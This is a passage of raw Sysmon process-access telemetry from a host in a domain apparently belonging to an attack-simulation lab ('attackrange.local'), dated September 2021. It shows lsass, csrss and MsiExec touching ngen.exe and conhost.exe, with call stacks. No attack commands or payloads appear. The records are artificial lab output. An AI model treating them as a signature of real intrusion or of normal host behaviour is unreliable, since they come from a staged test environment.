14:43:44.695{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9B07-00000000F001}1020c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.680{7BD73061-6F20-613B-9C07-00000000F001}58161916C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-9B07-00000000F001}1020c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.664{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9C07-00000000F001}5816C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.664{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9B07-00000000F001}1020c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.664{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-9B07-00000000F001}1020c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.664{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9907-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.664{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9907-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.633{7BD73061-6F20-613B-9A07-00000000F001}55247116C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-9907-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.633{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9A07-00000000F001}5524C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.633{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9907-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.617{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-9907-00000000F001}6872c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.617{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9707-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.617{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9707-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.602{7BD73061-6F20-613B-9807-00000000F001}62083428C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-9707-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.586{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9807-00000000F001}6208C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.586{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9707-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.586{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-9707-00000000F001}1272c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.586{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9507-00000000F001}7040c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.586{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9507-00000000F001}7040c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.555{7BD73061-6F20-613B-9607-00000000F001}69206924C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-9507-00000000F001}7040c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.555{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9607-00000000F001}6920C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.555{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9507-00000000F001}7040c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.555{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-9507-00000000F001}7040c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.539{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9307-00000000F001}1224c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.539{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9307-00000000F001}1224c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.524{7BD73061-6F20-613B-9407-00000000F001}11405168C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-9307-00000000F001}1224c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.524{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7F8C03160313694EEAE32BAF149142B,SHA256=C94DB5BCDACCC7AD30659D74778793936E89D7191324D61B6C47C09B04149B65,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.508{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9407-00000000F001}1140C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.508{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9307-00000000F001}1224c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.508{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-9307-00000000F001}1224c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.508{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9107-00000000F001}6148c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 